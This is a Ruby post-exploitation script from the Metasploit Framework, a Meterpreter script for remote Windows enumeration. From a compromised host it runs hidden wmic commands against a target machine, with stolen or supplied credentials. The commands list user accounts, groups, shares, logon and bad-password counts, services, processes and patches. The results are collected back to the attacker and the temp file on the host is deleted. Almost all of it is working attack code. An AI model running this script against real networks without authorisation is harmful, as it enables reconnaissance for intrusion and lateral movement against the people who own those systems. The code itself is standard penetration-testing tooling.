metasploit-framework/scripts/meterpreter/remotewinenum.rb

# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
session = client
# Variables for Options
helpcall = 0
rusr = nil
rpass = nil
trg = ""
# Script Options
@@exec_opts = Rex::Parser::Arguments.new(
  "-h"  => [ false,  "Help menu."],
  "-t"  => [ true,  "The target address"],
  "-u"  => [ true,  "User on the target system (If not provided it will use credential of process)"],
  "-p"  => [ true,  "Password of user on target system"]
)

# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'remotewinenum')

# Create the log directory
::FileUtils.mkdir_p(logs)

# WMIC Commands that will be executed on the Target
wmic = [
  'environment list',
  'share list',
  'nicconfig list',
  'computersystem list',
  'useraccount list',
  'group list',
  'sysaccount list',
  'volume list brief',
  'logicaldisk get description,filesystem,name,size',
  'netlogin get name,lastlogon,badpasswordcount',
  'netclient list brief',
  'netuse get name,username,connectiontype,localname',
  'share get name,path',
  'nteventlog get path,filename,writeable',
  'service list brief',
  'process list brief',
  'startup list full',
  'rdtoggle list',
  'product get name,version',
  'qfe list'
]
################## Function Declarations ##################

# Function for running a list of WMIC commands stored in a array, returs string
def wmicexec(session,wmic,user,pass,trgt)
  print_status("Running WMIC Commands ....")
  tmpout = ''
  command = nil
  runfail = 0
  runningas = session.sys.config.getuid
  begin
    tmp = session.fs.file.expand_path("%TEMP%")
    # Temporary file on windows host to store results
    wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt"

    wmic.each do |wmi|
      if user == nil
        print_status("The commands will be ran under the credentials of #{runningas}")
        command = "/node:#{trgt} /append:#{wmicfl} #{wmi}"
      else
        command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}"
      end
      print_status "\trunning command wimic #{wmi}"
      r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
      sleep(1)
      r = session.sys.process.execute("cmd.exe /c echo      Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'})
      sleep(1)
      r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
      sleep(1)
      #print_status "\twmic #{command}"
      r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true})
      #Making sure that wmic finishes before executing next wmic command
      prog2check = "wmic.exe"
      found = 0
      sleep(2)
      while found == 0
        session.sys.process.get_processes().each do |x|
          found =1
          if prog2check == (x['name'].downcase)
            sleep(0.5)
            found = 0
          end
        end
      end
      r.close
    end
    # Read the output file of the wmic commands
    wmioutfile = session.fs.file.new(wmicfl, "rb")
    until wmioutfile.eof?
      tmpout << wmioutfile.read
    end
    # Close output file in host
    wmioutfile.close
  rescue ::Exception => e
    print_status("Error running WMIC commands: #{e.class} #{e}")
  end
  # We delete the file with the wmic command output.
  c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
  c.close
  tmpout
end

#------------------------------------------------------------------------------
# Function to generate report header
def headerbuid(session,target,dest)
  # Header for File that will hold all the output of the commands
  info = session.sys.config.sysinfo
  header =  "Date:       #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"
  header << "Running as: #{client.sys.config.getuid}\n"
  header << "From:       #{info['Computer']}\n"
  header << "OS:         #{info['OS']}\n"
  header << "Target:     #{target}\n"
  header << "\n\n\n"

  print_status("Saving report to #{dest}")
  header

end

#------------------------------------------------------------------------------
# Function Help Message
def helpmsg
  print("Remote Windows Enumeration Meterpreter Script\n" +
    "This script will enumerate windows hosts in the target enviroment\n" +
    "given a username and password or using the credential under witch\n" +
    "Meterpeter is running using WMI wmic windows native tool.\n" +
    "Usage:\n" +
    @@exec_opts.usage)
end
################## MAIN ##################
if client.platform =~ /win32|win64/
  localos = session.sys.config.sysinfo

  # Check that the command is not being ran on a Win2k host
  # since wmic is not present in Windows 2000
  if localos =~ /(Windows 2000)/
    print_status("This script is not supported to be ran from Windows 2000 servers!!!")
  else
    # Parsing of Options
    @@exec_opts.parse(args) { |opt, idx, val|
      case opt

      when "-t"
        trg = val
      when "-u"
        rusr = val
      when "-p"
        rpass = val
      when "-h"
        helpmsg
        helpcall = 1
      end

    }
    #logfile name
    dest = logs + "/" + trg + filenameinfo
    # Executing main logic of the script
    if helpcall == 0 and trg != ""

      # Making sure that is running as System a Username and Password for target machine must be provided

      if is_system? && rusr == nil && rpass == nil

        print_status("Stopped: Running as System and no user provided for connecting to target!!")

      else trg != nil && helpcall != 1

        file_local_write(dest,headerbuid(session,trg,dest))
        file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg))

      end
    elsif helpcall == 0 and trg == ""

      helpmsg
    end
  end
else
  print_error("This version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end